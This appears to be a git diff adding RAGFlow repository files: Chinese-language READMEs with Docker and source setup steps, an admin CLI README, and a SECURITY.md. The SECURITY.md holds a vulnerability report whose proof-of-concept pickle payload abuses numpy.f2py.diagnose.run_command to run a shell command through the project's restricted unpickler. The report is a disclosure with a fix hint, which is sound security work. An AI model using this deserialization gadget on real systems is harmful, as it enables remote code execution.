+- 🙌 [加入社區](#-加入社區)
+- 🤝 [商務合作](#-商務合作)
+
+
+
+## 💡 RAGFlow 是什麼?
+
+[RAGFlow](https://ragflow.io/) 是一款領先的開源 RAG(Retrieval-Augmented Generation)引擎,通過融合前沿的 RAG 技術與 Agent 能力,為大型語言模型提供卓越的上下文層。它提供可適配任意規模企業的端到端 RAG 工作流,憑藉融合式上下文引擎與預置的 Agent 模板,助力開發者以極致效率與精度將複雜數據轉化為高可信、生產級的人工智能系統。
+
+## 🎮 Demo 試用
+
+請登入網址 [https://demo.ragflow.io](https://demo.ragflow.io) 試用 demo。
+
+
+
+
+
+
+## 🔥 近期更新
+
+- 2025-08-08 支援 OpenAI 最新的 GPT-5 系列模型。
+- 2025-08-04 支援 Kimi K2 和 Grok 4 等模型.
+- 2025-08-01 支援 agentic workflow 和 MCP
+- 2025-05-23 為 Agent 新增 Python/JS 程式碼執行器元件。
+- 2025-05-05 支援跨語言查詢。
+- 2025-03-19 PDF和DOCX中的圖支持用多模態大模型去解析得到描述.
+- 2025-02-28 結合網路搜尋(Tavily),對於任意大模型實現類似 Deep Research 的推理功能.
+- 2024-12-18 升級了 DeepDoc 的文檔佈局分析模型。
+- 2024-08-22 支援用 RAG 技術實現從自然語言到 SQL 語句的轉換。
+
+## 🎉 關注項目
+
+⭐️ 點擊右上角的 Star 追蹤 RAGFlow,可以取得最新發布的即時通知 !🌟
+
+
+
+
+
+## 🌟 主要功能
+
+### 🍭 **"Quality in, quality out"**
+
+- 基於[深度文件理解](./deepdoc/README.md),能夠從各類複雜格式的非結構化資料中提取真知灼見。
+- 真正在無限上下文(token)的場景下快速完成大海撈針測試。
+
+### 🍱 **基於模板的文字切片**
+
+- 不只是智能,更重要的是可控可解釋。
+- 多種文字範本可供選擇
+
+### 🌱 **有理有據、最大程度降低幻覺(hallucination)**
+
+- 文字切片過程視覺化,支援手動調整。
+- 有理有據:答案提供關鍵引用的快照並支持追根溯源。
+
+### 🍔 **相容各類異質資料來源**
+
+- 支援豐富的文件類型,包括 Word 文件、PPT、excel 表格、txt 檔案、圖片、PDF、影印件、影印件、結構化資料、網頁等。
+
+### 🛀 **全程無憂、自動化的 RAG 工作流程**
+
+- 全面優化的 RAG 工作流程可以支援從個人應用乃至超大型企業的各類生態系統。
+- 大語言模型 LLM 以及向量模型皆支援配置。
+- 基於多路召回、融合重排序。
+- 提供易用的 API,可輕鬆整合到各類企業系統。
+
+## 🔎 系統架構
+
+
+
+
+
+## 🎬 快速開始
+
+### 📝 前提條件
+
+- CPU >= 4 核
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): 僅在您打算使用 RAGFlow 的代碼執行器(沙箱)功能時才需要安裝。
+
+> [!TIP]
+> 如果你並沒有在本機安裝 Docker(Windows、Mac,或 Linux), 可以參考文件 [Install Docker Engine](https://docs.docker.com/engine/install/) 自行安裝。
+
+### 🚀 啟動伺服器
+
+1. 確保 `vm.max_map_count` 不小於 262144:
+
+ > 如需確認 `vm.max_map_count` 的大小:
+ >
+ > ```bash
+ > $ sysctl vm.max_map_count
+ > ```
+ >
+ > 如果 `vm.max_map_count` 的值小於 262144,可以進行重設:
+ >
+ > ```bash
+ > # 這裡我們設為 262144:
+ > $ sudo sysctl -w vm.max_map_count=262144
+ > ```
+ >
+ > 你的改動會在下次系統重新啟動時被重置。如果希望做永久改動,還需要在 **/etc/sysctl.conf** 檔案裡把 `vm.max_map_count` 的值再相應更新一遍:
+ >
+ > ```bash
+ > vm.max_map_count=262144
+ > ```
+
+2. 克隆倉庫:
+
+ ```bash
+ $ git clone https://github.com/infiniflow/ragflow.git
+ ```
+
+3. 進入 **docker** 資料夾,利用事先編譯好的 Docker 映像啟動伺服器:
+
+> [!CAUTION]
+> 所有 Docker 映像檔都是為 x86 平台建置的。目前,我們不提供 ARM64 平台的 Docker 映像檔。
+> 如果您使用的是 ARM64 平台,請使用 [這份指南](https://ragflow.io/docs/dev/build_docker_image) 來建置適合您系統的 Docker 映像檔。
+
+ > 執行以下指令會自動下載 RAGFlow slim Docker 映像 `v0.20.5-slim`。請參考下表查看不同 Docker 發行版的說明。如需下載不同於 `v0.20.5-slim` 的 Docker 映像,請在執行 `docker compose` 啟動服務之前先更新 **docker/.env** 檔案內的 `RAGFLOW_IMAGE` 變數。例如,你可以透過設定 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5` 來下載 RAGFlow 鏡像的 `v0.20.5` 完整發行版。
+
+ ```bash
+ $ cd ragflow/docker
+ # Use CPU for embedding and DeepDoc tasks:
+ $ docker compose -f docker-compose.yml up -d
+
+ # To use GPU to accelerate embedding and DeepDoc tasks:
+ # docker compose -f docker-compose-gpu.yml up -d
+ ```
+
+ | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? |
+ | ----------------- | --------------- | --------------------- | ------------------------ |
+ | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release |
+ | v0.20.5-slim | ≈2 | ❌ | Stable release |
+ | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build |
+ | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build |
+
+ > [!TIP]
+ > 如果你遇到 Docker 映像檔拉不下來的問題,可以在 **docker/.env** 檔案內根據變數 `RAGFLOW_IMAGE` 的註解提示選擇華為雲或阿里雲的對應映像。
+ >
+ > - 華為雲鏡像名:`swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow`
+ > - 阿里雲鏡像名:`registry.cn-hangzhou.aliyuncs.com/infiniflow/ragflow`
+
+4. 伺服器啟動成功後再次確認伺服器狀態:
+
+ ```bash
+ $ docker logs -f ragflow-server
+ ```
+
+ _出現以下介面提示說明伺服器啟動成功:_
+
+ ```bash
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ * Running on all addresses (0.0.0.0)
+ ```
+
+ > 如果您跳過這一步驟系統確認步驟就登入 RAGFlow,你的瀏覽器有可能會提示 `network anormal` 或 `網路異常`,因為 RAGFlow 可能並未完全啟動成功。
+
+5. 在你的瀏覽器中輸入你的伺服器對應的 IP 位址並登入 RAGFlow。
+ > 上面這個範例中,您只需輸入 http://IP_OF_YOUR_MACHINE 即可:未改動過設定則無需輸入連接埠(預設的 HTTP 服務連接埠 80)。
+6. 在 [service_conf.yaml.template](./docker/service_conf.yaml.template) 檔案的 `user_default_llm` 欄位設定 LLM factory,並在 `API_KEY` 欄填入和你選擇的大模型相對應的 API key。
+
+ > 詳見 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。
+
+ _好戲開始,接著奏樂接著舞! _
+
+## 🔧 系統配置
+
+系統配置涉及以下三份文件:
+
+- [.env](./docker/.env):存放一些系統環境變量,例如 `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` 等。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template):設定各類別後台服務。
+- [docker-compose.yml](./docker/docker-compose.yml): 系統依賴該檔案完成啟動。
+
+請務必確保 [.env](./docker/.env) 檔案中的變數設定與 [service_conf.yaml.template](./docker/service_conf.yaml.template) 檔案中的設定保持一致!
+
+如果無法存取映像網站 hub.docker.com 或模型網站 huggingface.co,請依照 [.env](./docker/.env) 註解修改 `RAGFLOW_IMAGE` 和 `HF_ENDPOINT`。
+
+> [./docker/README](./docker/README.md) 解釋了 [service_conf.yaml.template](./docker/service_conf.yaml.template) 用到的環境變數設定和服務配置。
+
+如需更新預設的 HTTP 服務連接埠(80), 可以在[docker-compose.yml](./docker/docker-compose.yml) 檔案中將配置`80:80` 改為`:80` 。
+
+> 所有系統配置都需要透過系統重新啟動生效:
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+###把文檔引擎從 Elasticsearch 切換成為 Infinity
+
+RAGFlow 預設使用 Elasticsearch 儲存文字和向量資料. 如果要切換為 [Infinity](https://github.com/infiniflow/infinity/), 可以按照下面步驟進行:
+
+1. 停止所有容器運作:
+
+ ```bash
+ $ docker compose -f docker/docker-compose.yml down -v
+ ```
+ Note: `-v` 將會刪除 docker 容器的 volumes,已有的資料會被清空。
+
+2. 設定 **docker/.env** 目錄中的 `DOC_ENGINE` 為 `infinity`.
+
+3. 啟動容器:
+
+ ```bash
+ $ docker compose -f docker-compose.yml up -d
+ ```
+
+> [!WARNING]
+> Infinity 目前官方並未正式支援在 Linux/arm64 架構下的機器上運行.
+
+## 🔧 原始碼編譯 Docker 映像(不含 embedding 模型)
+
+本 Docker 映像大小約 2 GB 左右並且依賴外部的大模型和 embedding 服務。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg LIGHTEN=1 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 原始碼編譯 Docker 映像(包含 embedding 模型)
+
+本 Docker 大小約 9 GB 左右。由於已包含 embedding 模型,所以只需依賴外部的大模型服務即可。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 以原始碼啟動服務
+
+1. 安裝 `uv` 和 `pre-commit`。如已安裝,可跳過此步驟:
+
+ ```bash
+ pipx install uv pre-commit
+ export UV_INDEX=https://mirrors.aliyun.com/pypi/simple
+ ```
+
+2. 下載原始碼並安裝 Python 依賴:
+
+ ```bash
+ git clone https://github.com/infiniflow/ragflow.git
+ cd ragflow/
+ uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+ uv run download_deps.py
+ pre-commit install
+ ```
+
+3. 透過 Docker Compose 啟動依賴的服務(MinIO, Elasticsearch, Redis, and MySQL):
+
+ ```bash
+ docker compose -f docker/docker-compose-base.yml up -d
+ ```
+
+ 在 `/etc/hosts` 中加入以下程式碼,將 **conf/service_conf.yaml** 檔案中的所有 host 位址都解析為 `127.0.0.1`:
+
+ ```
+ 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager
+ ```
+
+4. 如果無法存取 HuggingFace,可以把環境變數 `HF_ENDPOINT` 設為對應的鏡像網站:
+
+ ```bash
+ export HF_ENDPOINT=https://hf-mirror.com
+ ```
+
+5. 如果你的操作系统没有 jemalloc,请按照如下方式安装:
+
+ ```bash
+ # ubuntu
+ sudo apt-get install libjemalloc-dev
+ # centos
+ sudo yum install jemalloc
+ # mac
+ sudo brew install jemalloc
+ ```
+
+6. 啟動後端服務:
+
+ ```bash
+ source .venv/bin/activate
+ export PYTHONPATH=$(pwd)
+ bash docker/launch_backend_service.sh
+ ```
+
+7. 安裝前端依賴:
+
+ ```bash
+ cd web
+ npm install
+ ```
+
+8. 啟動前端服務:
+
+ ```bash
+ npm run dev
+ ```
+
+ 以下界面說明系統已成功啟動:_
+
+ 
+ ```
+
+9. 開發完成後停止 RAGFlow 前端和後端服務:
+
+ ```bash
+ pkill -f "ragflow_server.py|task_executor.py"
+ ```
+
+
+## 📚 技術文檔
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/dev/category/guides)
+- [Developer guides](https://ragflow.io/docs/dev/category/developers)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 路線圖
+
+詳見 [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214) 。
+
+## 🏄 開源社群
+
+- [Discord](https://discord.gg/zd4qPW6t)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 貢獻指南
+
+RAGFlow 只有透過開源協作才能蓬勃發展。秉持這項精神,我們歡迎來自社區的各種貢獻。如果您有意參與其中,請查閱我們的 [貢獻者指南](https://ragflow.io/docs/dev/contributing) 。
+
+## 🤝 商務合作
+
+- [預約諮詢](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh)
+
+## 👥 加入社區
+
+掃二維碼加入 RAGFlow 小助手,進 RAGFlow 交流群。
+
+
+
+
diff --git a/README_zh.md b/README_zh.md
new file mode 100644
index 0000000..ad1a001
--- /dev/null
+++ b/README_zh.md
@@ -0,0 +1,415 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+#
+
+
+
+
+
+
+📕 目录
+
+- 💡 [RAGFlow 是什么?](#-RAGFlow-是什么)
+- 🎮 [Demo](#-demo)
+- 📌 [近期更新](#-近期更新)
+- 🌟 [主要功能](#-主要功能)
+- 🔎 [系统架构](#-系统架构)
+- 🎬 [快速开始](#-快速开始)
+- 🔧 [系统配置](#-系统配置)
+- 🔨 [以源代码启动服务](#-以源代码启动服务)
+- 📚 [技术文档](#-技术文档)
+- 📜 [路线图](#-路线图)
+- 🏄 [贡献指南](#-贡献指南)
+- 🙌 [加入社区](#-加入社区)
+- 🤝 [商务合作](#-商务合作)
+
+
+
+## 💡 RAGFlow 是什么?
+
+[RAGFlow](https://ragflow.io/) 是一款领先的开源检索增强生成(RAG)引擎,通过融合前沿的 RAG 技术与 Agent 能力,为大型语言模型提供卓越的上下文层。它提供可适配任意规模企业的端到端 RAG 工作流,凭借融合式上下文引擎与预置的 Agent 模板,助力开发者以极致效率与精度将复杂数据转化为高可信、生产级的人工智能系统。
+
+## 🎮 Demo 试用
+
+请登录网址 [https://demo.ragflow.io](https://demo.ragflow.io) 试用 demo。
+
+
+
+
+
+
+## 🔥 近期更新
+
+- 2025-08-08 支持 OpenAI 最新的 GPT-5 系列模型.
+- 2025-08-04 新增对 Kimi K2 和 Grok 4 等模型的支持.
+- 2025-08-01 支持 agentic workflow 和 MCP。
+- 2025-05-23 Agent 新增 Python/JS 代码执行器组件。
+- 2025-05-05 支持跨语言查询。
+- 2025-03-19 PDF 和 DOCX 中的图支持用多模态大模型去解析得到描述.
+- 2025-02-28 结合互联网搜索(Tavily),对于任意大模型实现类似 Deep Research 的推理功能.
+- 2024-12-18 升级了 DeepDoc 的文档布局分析模型。
+- 2024-08-22 支持用 RAG 技术实现从自然语言到 SQL 语句的转换。
+
+## 🎉 关注项目
+
+⭐️ 点击右上角的 Star 关注 RAGFlow,可以获取最新发布的实时通知 !🌟
+
+
+
+
+
+## 🌟 主要功能
+
+### 🍭 **"Quality in, quality out"**
+
+- 基于[深度文档理解](./deepdoc/README.md),能够从各类复杂格式的非结构化数据中提取真知灼见。
+- 真正在无限上下文(token)的场景下快速完成大海捞针测试。
+
+### 🍱 **基于模板的文本切片**
+
+- 不仅仅是智能,更重要的是可控可解释。
+- 多种文本模板可供选择
+
+### 🌱 **有理有据、最大程度降低幻觉(hallucination)**
+
+- 文本切片过程可视化,支持手动调整。
+- 有理有据:答案提供关键引用的快照并支持追根溯源。
+
+### 🍔 **兼容各类异构数据源**
+
+- 支持丰富的文件类型,包括 Word 文档、PPT、excel 表格、txt 文件、图片、PDF、影印件、复印件、结构化数据、网页等。
+
+### 🛀 **全程无忧、自动化的 RAG 工作流**
+
+- 全面优化的 RAG 工作流可以支持从个人应用乃至超大型企业的各类生态系统。
+- 大语言模型 LLM 以及向量模型均支持配置。
+- 基于多路召回、融合重排序。
+- 提供易用的 API,可以轻松集成到各类企业系统。
+
+## 🔎 系统架构
+
+
+
+
+
+## 🎬 快速开始
+
+### 📝 前提条件
+
+- CPU >= 4 核
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): 仅在你打算使用 RAGFlow 的代码执行器(沙箱)功能时才需要安装。
+
+> [!TIP]
+> 如果你并没有在本机安装 Docker(Windows、Mac,或者 Linux), 可以参考文档 [Install Docker Engine](https://docs.docker.com/engine/install/) 自行安装。
+
+### 🚀 启动服务器
+
+1. 确保 `vm.max_map_count` 不小于 262144:
+
+ > 如需确认 `vm.max_map_count` 的大小:
+ >
+ > ```bash
+ > $ sysctl vm.max_map_count
+ > ```
+ >
+ > 如果 `vm.max_map_count` 的值小于 262144,可以进行重置:
+ >
+ > ```bash
+ > # 这里我们设为 262144:
+ > $ sudo sysctl -w vm.max_map_count=262144
+ > ```
+ >
+ > 你的改动会在下次系统重启时被重置。如果希望做永久改动,还需要在 **/etc/sysctl.conf** 文件里把 `vm.max_map_count` 的值再相应更新一遍:
+ >
+ > ```bash
+ > vm.max_map_count=262144
+ > ```
+
+2. 克隆仓库:
+
+ ```bash
+ $ git clone https://github.com/infiniflow/ragflow.git
+ ```
+
+3. 进入 **docker** 文件夹,利用提前编译好的 Docker 镜像启动服务器:
+
+> [!CAUTION]
+> 请注意,目前官方提供的所有 Docker 镜像均基于 x86 架构构建,并不提供基于 ARM64 的 Docker 镜像。
+> 如果你的操作系统是 ARM64 架构,请参考[这篇文档](https://ragflow.io/docs/dev/build_docker_image)自行构建 Docker 镜像。
+
+ > 运行以下命令会自动下载 RAGFlow slim Docker 镜像 `v0.20.5-slim`。请参考下表查看不同 Docker 发行版的描述。如需下载不同于 `v0.20.5-slim` 的 Docker 镜像,请在运行 `docker compose` 启动服务之前先更新 **docker/.env** 文件内的 `RAGFLOW_IMAGE` 变量。比如,你可以通过设置 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5` 来下载 RAGFlow 镜像的 `v0.20.5` 完整发行版。
+
+ ```bash
+ $ cd ragflow/docker
+ # Use CPU for embedding and DeepDoc tasks:
+ $ docker compose -f docker-compose.yml up -d
+
+ # To use GPU to accelerate embedding and DeepDoc tasks:
+ # docker compose -f docker-compose-gpu.yml up -d
+ ```
+
+ | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? |
+ | ----------------- | --------------- | --------------------- | ------------------------ |
+ | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release |
+ | v0.20.5-slim | ≈2 | ❌ | Stable release |
+ | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build |
+ | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build |
+
+ > [!TIP]
+ > 如果你遇到 Docker 镜像拉不下来的问题,可以在 **docker/.env** 文件内根据变量 `RAGFLOW_IMAGE` 的注释提示选择华为云或者阿里云的相应镜像。
+ >
+ > - 华为云镜像名:`swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow`
+ > - 阿里云镜像名:`registry.cn-hangzhou.aliyuncs.com/infiniflow/ragflow`
+
+4. 服务器启动成功后再次确认服务器状态:
+
+ ```bash
+ $ docker logs -f ragflow-server
+ ```
+
+ _出现以下界面提示说明服务器启动成功:_
+
+ ```bash
+ ____ ___ ______ ______ __
+ / __ \ / | / ____// ____// /____ _ __
+ / /_/ // /| | / / __ / /_ / // __ \| | /| / /
+ / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ /
+ /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/
+
+ * Running on all addresses (0.0.0.0)
+ ```
+
+ > 如果您在没有看到上面的提示信息出来之前,就尝试登录 RAGFlow,你的浏览器有可能会提示 `network anormal` 或 `网络异常`。
+
+5. 在你的浏览器中输入你的服务器对应的 IP 地址并登录 RAGFlow。
+ > 上面这个例子中,您只需输入 http://IP_OF_YOUR_MACHINE 即可:未改动过配置则无需输入端口(默认的 HTTP 服务端口 80)。
+6. 在 [service_conf.yaml.template](./docker/service_conf.yaml.template) 文件的 `user_default_llm` 栏配置 LLM factory,并在 `API_KEY` 栏填写和你选择的大模型相对应的 API key。
+
+ > 详见 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。
+
+ _好戏开始,接着奏乐接着舞!_
+
+## 🔧 系统配置
+
+系统配置涉及以下三份文件:
+
+- [.env](./docker/.env):存放一些基本的系统环境变量,比如 `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` 等。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template):配置各类后台服务。
+- [docker-compose.yml](./docker/docker-compose.yml): 系统依赖该文件完成启动。
+
+请务必确保 [.env](./docker/.env) 文件中的变量设置与 [service_conf.yaml.template](./docker/service_conf.yaml.template) 文件中的配置保持一致!
+
+如果不能访问镜像站点 hub.docker.com 或者模型站点 huggingface.co,请按照 [.env](./docker/.env) 注释修改 `RAGFLOW_IMAGE` 和 `HF_ENDPOINT`。
+
+> [./docker/README](./docker/README.md) 解释了 [service_conf.yaml.template](./docker/service_conf.yaml.template) 用到的环境变量设置和服务配置。
+
+如需更新默认的 HTTP 服务端口(80), 可以在 [docker-compose.yml](./docker/docker-compose.yml) 文件中将配置 `80:80` 改为 `:80`。
+
+> 所有系统配置都需要通过系统重启生效:
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### 把文档引擎从 Elasticsearch 切换成为 Infinity
+
+RAGFlow 默认使用 Elasticsearch 存储文本和向量数据. 如果要切换为 [Infinity](https://github.com/infiniflow/infinity/), 可以按照下面步骤进行:
+
+1. 停止所有容器运行:
+
+ ```bash
+ $ docker compose -f docker/docker-compose.yml down -v
+ ```
+ Note: `-v` 将会删除 docker 容器的 volumes,已有的数据会被清空。
+
+2. 设置 **docker/.env** 目录中的 `DOC_ENGINE` 为 `infinity`.
+
+3. 启动容器:
+
+ ```bash
+ $ docker compose -f docker-compose.yml up -d
+ ```
+
+> [!WARNING]
+> Infinity 目前官方并未正式支持在 Linux/arm64 架构下的机器上运行.
+
+## 🔧 源码编译 Docker 镜像(不含 embedding 模型)
+
+本 Docker 镜像大小约 2 GB 左右并且依赖外部的大模型和 embedding 服务。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg LIGHTEN=1 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 源码编译 Docker 镜像(包含 embedding 模型)
+
+本 Docker 大小约 9 GB 左右。由于已包含 embedding 模型,所以只需依赖外部的大模型服务即可。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 以源代码启动服务
+
+1. 安装 `uv` 和 `pre-commit`。如已经安装,可跳过本步骤:
+
+ ```bash
+ pipx install uv pre-commit
+ export UV_INDEX=https://mirrors.aliyun.com/pypi/simple
+ ```
+
+2. 下载源代码并安装 Python 依赖:
+
+ ```bash
+ git clone https://github.com/infiniflow/ragflow.git
+ cd ragflow/
+ uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+ uv run download_deps.py
+ pre-commit install
+ ```
+
+3. 通过 Docker Compose 启动依赖的服务(MinIO, Elasticsearch, Redis, and MySQL):
+
+ ```bash
+ docker compose -f docker/docker-compose-base.yml up -d
+ ```
+
+ 在 `/etc/hosts` 中添加以下代码,目的是将 **conf/service_conf.yaml** 文件中的所有 host 地址都解析为 `127.0.0.1`:
+
+ ```
+ 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager
+ ```
+4. 如果无法访问 HuggingFace,可以把环境变量 `HF_ENDPOINT` 设成相应的镜像站点:
+
+ ```bash
+ export HF_ENDPOINT=https://hf-mirror.com
+ ```
+
+5. 如果你的操作系统没有 jemalloc,请按照如下方式安装:
+
+ ```bash
+ # ubuntu
+ sudo apt-get install libjemalloc-dev
+ # centos
+ sudo yum install jemalloc
+ # mac
+ sudo brew install jemalloc
+ ```
+
+6. 启动后端服务:
+
+ ```bash
+ source .venv/bin/activate
+ export PYTHONPATH=$(pwd)
+ bash docker/launch_backend_service.sh
+ ```
+
+7. 安装前端依赖:
+
+ ```bash
+ cd web
+ npm install
+ ```
+
+8. 启动前端服务:
+
+ ```bash
+ npm run dev
+ ```
+
+ _以下界面说明系统已经成功启动:_
+
+ 
+
+9. 开发完成后停止 RAGFlow 前端和后端服务:
+
+ ```bash
+ pkill -f "ragflow_server.py|task_executor.py"
+ ```
+
+
+## 📚 技术文档
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/dev/category/guides)
+- [Developer guides](https://ragflow.io/docs/dev/category/developers)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 路线图
+
+详见 [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214) 。
+
+## 🏄 开源社区
+
+- [Discord](https://discord.gg/zd4qPW6t)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 贡献指南
+
+RAGFlow 只有通过开源协作才能蓬勃发展。秉持这一精神,我们欢迎来自社区的各种贡献。如果您有意参与其中,请查阅我们的 [贡献者指南](https://ragflow.io/docs/dev/contributing) 。
+
+## 🤝 商务合作
+
+- [预约咨询](https://aao615odquw.feishu.cn/share/base/form/shrcnjw7QleretCLqh1nuPo1xxh)
+
+## 👥 加入社区
+
+扫二维码添加 RAGFlow 小助手,进 RAGFlow 交流群。
+
+
+
+
diff --git a/SECURITY.md b/SECURITY.md
new file mode 100644
index 0000000..3ccc48b
--- /dev/null
+++ b/SECURITY.md
@@ -0,0 +1,74 @@
+# Security Policy
+
+## Supported Versions
+
+Use this section to tell people about which versions of your project are
+currently being supported with security updates.
+
+| Version | Supported |
+| ------- | ------------------ |
+| <=0.7.0 | :white_check_mark: |
+
+## Reporting a Vulnerability
+
+### Branch name
+
+main
+
+### Actual behavior
+
+The restricted_loads function at [api/utils/__init__.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution.
+The main reason is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy.
+
+
+### Steps to reproduce
+
+
+**ragflow_patch.py**
+
+```py
+import builtins
+import io
+import pickle
+
+safe_module = {
+ 'numpy',
+ 'rag_flow'
+}
+
+
+class RestrictedUnpickler(pickle.Unpickler):
+ def find_class(self, module, name):
+ import importlib
+ if module.split('.')[0] in safe_module:
+ _module = importlib.import_module(module)
+ return getattr(_module, name)
+ # Forbid everything else.
+ raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
+ (module, name))
+
+
+def restricted_loads(src):
+ """Helper function analogous to pickle.loads()."""
+ return RestrictedUnpickler(io.BytesIO(src)).load()
+```
+Then, **PoC.py**
+```py
+import pickle
+from ragflow_patch import restricted_loads
+class Exploit:
+ def __reduce__(self):
+ import numpy.f2py.diagnose
+ return numpy.f2py.diagnose.run_command, ('whoami', )
+
+Payload=pickle.dumps(Exploit())
+restricted_loads(Payload)
+```
+**Result**
+
+
+
+### Additional information
+
+#### How to prevent?
+Strictly filter the module and name before calling with getattr function.
diff --git a/admin/README.md b/admin/README.md
new file mode 100644
index 0000000..c5e1c0b
--- /dev/null
+++ b/admin/README.md
@@ -0,0 +1,101 @@
+# RAGFlow Admin Service & CLI
+
+### Introduction
+
+Admin Service is a dedicated management component designed to monitor, maintain, and administrate the RAGFlow system. It provides comprehensive tools for ensuring system stability, performing operational tasks, and managing users and permissions efficiently.
+
+The service offers real-time monitoring of critical components, including the RAGFlow server, Task Executor processes, and dependent services such as MySQL, Elasticsearch, Redis, and MinIO. It automatically checks their health status, resource usage, and uptime, and performs restarts in case of failures to minimize downtime.
+
+For user and system management, it supports listing, creating, modifying, and deleting users and their associated resources like knowledge bases and Agents.
+
+Built with scalability and reliability in mind, the Admin Service ensures smooth system operation and simplifies maintenance workflows.
+
+It consists of a server-side Service and a command-line client (CLI), both implemented in Python. User commands are parsed using the Lark parsing toolkit.
+
+- **Admin Service**: A backend service that interfaces with the RAGFlow system to execute administrative operations and monitor its status.
+- **Admin CLI**: A command-line interface that allows users to connect to the Admin Service and issue commands for system management.
+
+### Starting the Admin Service
+
+1. Before start Admin Service, please make sure RAGFlow system is already started.
+
+2. Run the service script:
+ ```bash
+ python admin/admin_server.py
+ ```
+ The service will start and listen for incoming connections from the CLI on the configured port.
+
+### Using the Admin CLI
+
+1. Ensure the Admin Service is running.
+2. Launch the CLI client:
+ ```bash
+ python admin/admin_client.py -h 0.0.0.0 -p 9381
+
+## Supported Commands
+
+Commands are case-insensitive and must be terminated with a semicolon (`;`).
+
+### Service Management Commands
+
+- `LIST SERVICES;`
+ - Lists all available services within the RAGFlow system.
+- `SHOW SERVICE ;`
+ - Shows detailed status information for the service identified by ``.
+- `STARTUP SERVICE ;`
+ - Attempts to start the service identified by ``.
+- `SHUTDOWN SERVICE ;`
+ - Attempts to gracefully shut down the service identified by ``.
+- `RESTART SERVICE ;`
+ - Attempts to restart the service identified by ``.
+
+### User Management Commands
+
+- `LIST USERS;`
+ - Lists all users known to the system.
+- `SHOW USER '';`
+ - Shows details and permissions for the specified user. The username must be enclosed in single or double quotes.
+- `DROP USER '';`
+ - Removes the specified user from the system. Use with caution.
+- `ALTER USER PASSWORD '' '';`
+ - Changes the password for the specified user.
+
+### Data and Agent Commands
+
+- `LIST DATASETS OF '';`
+ - Lists the datasets associated with the specified user.
+- `LIST AGENTS OF '';`
+ - Lists the agents associated with the specified user.
+
+### Meta-Commands
+
